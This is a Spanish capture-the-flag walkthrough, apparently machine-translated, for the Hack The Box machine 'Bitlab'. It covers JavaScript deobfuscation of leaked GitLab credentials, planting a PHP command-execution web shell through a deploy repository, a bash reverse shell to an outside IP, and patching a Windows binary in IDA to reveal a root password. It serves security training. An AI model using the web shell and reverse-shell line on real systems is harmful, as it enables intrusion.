Hack The Box - Tutorial de Bitlab. Ofuscación JS débil, GIT y aplicaciones de Windows inversas

imagen

En este artículo, comenzaré a publicar soluciones enviadas para su posterior procesamiento desde el sitio HackTheBox . Espero que esto ayude al menos a alguien a desarrollarse en el campo de la seguridad de la información. En este artículo, trataremos con una pequeña ofuscación de JavaScript, cargaremos la puerta trasera a través del repositorio de Git y depuraremos la aplicación 32.

La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)

Información organizacional
Especialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:

  • PWN;
  • criptografía (criptografía);
  • tecnologías de red (Red);
  • inversa (ingeniería inversa);
  • esteganografía (Stegano);
  • búsqueda y explotación de vulnerabilidades WEB.

Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.

Para que pueda conocer nuevos artículos, software y otra información, creé un canal en Telegram y un grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones personalmente y responderé a todos .

Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados ​​a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.

Inteligencia


Escaneo de puertos


Esta máquina tiene una dirección IP de 10.10.10.114, que agrego a / etc / hosts.
10.10.10.114 bitlab.htb
Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 1000 paquetes por segundo.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000

imagen

A continuación, debe recopilar más información sobre los puertos que conocemos.
nmap -A bitlab.htb -p22,80

imagen

Como se desprende del informe nmap, SSH y un servidor web se ejecutan en el host. Y en el servidor web hay robots.txt. Después de revisar los directorios de esta lista, observamos que gitlab funciona y hay un directorio de ayuda no indexado.

imagen

Yendo a la página de marcadores tenemos varios enlaces.

imagen

Js


Todos apuntan al sitio de un producto, excepto el último, que no contiene una dirección, sino un código JS.

imagen

¿Qué ofusca este código?
 javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })() 

Para obtener un código más legible, puede usar el siguiente sitio .

imagen

Después de un pequeño refinamiento del código, obtenemos las siguientes instrucciones.
 document.getElementById("user_login").value = "clave"; document.getElementById("user_password").value = "11des0081x"; 

Git


Con estos datos de autenticación estamos autorizados en gitlab. Allí encontramos dos perfiles.

imagen

También puede encontrar un proyecto en el que hay una conexión a la base de datos, en el código presento todos los datos para la conexión.

imagen

Comprobando Perfil no encontramos nada interesante.

imagen

El implementador solo tiene código php.

imagen

A partir de este código, queda claro que si colocamos un archivo en el perfil, se implementará en el servidor.

Punto de entrada


Necesitamos colocar una puerta trasera php. Por ejemplo, uno que recibirá y ejecutará comandos.
 <?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?> 

Para hacer esto, abra Perfil y cree un nuevo archivo.

imagen

imagen

Y después de agregar nuestro archivo aparecerá en el repositorio.

imagen

Ahora estamos probando la puerta trasera.

imagen

Ahora tenemos un caparazón completo.
 bash -i >& /dev/tcp/10.10.15.150/4321 0>&1 

imagen

Y vemos la conexión inversa a nuestro host.

imagen

Usuario


Una vez en el host, es imprescindible verificar los datos comprados anteriormente. Estos son los datos para acceder a la base de datos.

Abrir el intérprete PHP de forma interactiva. Usamos el código encontrado y revisamos los datos encontrados. Contraseña de usuario en base64, descifrarlo.

imagen

Entonces descubrimos la contraseña, que aparentemente puede conectarse a través de SSH. Pero esto no funcionó, ya que base64 es la contraseña)).

imagen

RAÍZ


Mirando alrededor del automóvil, encontramos un archivo exe en el directorio de inicio del usuario.

imagen

Lo copiamos a nuestro host para su análisis.
 scp clave@10.10.10.114:~/RemoteConnection.exe . 

A continuación, abra el archivo en IDA Pro. Desplazándose por la función main main, puede encontrar una comparación de la variable con el nombre de usuario y crear un proceso con masilla, un programa para conexiones de red.

imagen

Podemos suponer que la conexión ocurre con la provisión de datos de autenticación, y necesitamos encontrarlos. Los datos de conexión se pasarán masilla como parámetro, es decir variable v3.

Puede ver la línea final durante la depuración, pero en la IDA el archivo de 32 bits se bloquea. Al depurar paso a paso, entendemos que esto sucede después de llamar a GetUserNameW. Procedemos de la siguiente manera.

Ponga BP en el fragmento de comparación de nombres.

imagen

Ahora colocamos BP antes de cargar los parámetros para la función GetUserNameW.

imagen

Ejecute el programa en el depurador. La depuración se detendrá antes de llamar a la función que necesitamos.

imagen

Ahora parchea el código. En lugar de cargar los parámetros y llamar a la función, debe poner la instrucción NOP. Yo uso el complemento Keypatch para esto.

imagen

Ahora el código se ve así.

imagen

Continuemos depurando el programa para que deje de comparar el nombre. En este punto, la dirección de la cadena de parámetros ya se cargará en el registro EAX para pasar como el parámetro ShellExecuteW.

imagen

Ahora haga clic en la flecha (saltar en el desmontaje) al lado del registro EAX. Esto le permitirá ir a la dirección de EAX en la ventana principal de IDA.

imagen

Esta dirección contiene la cadena de parámetros. Como puede ver, contiene el texto simétricamente correcto "-ssh root ...". Pero cada carácter está representado por 2 bytes. Para recoger convenientemente la cadena, presione Alt + A.

imagen

Y en esta ventana, seleccione Unicode C-Style (16 bit). Luego observamos la cadena correctamente ensamblada.

imagen

Esta línea contiene la contraseña de root. Nos conectamos a través de ssh y recogemos el token.

imagen

Puedes unirte a nosotros en Telegram . Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.

Source: https://habr.com/ru/post/483646/


All Articles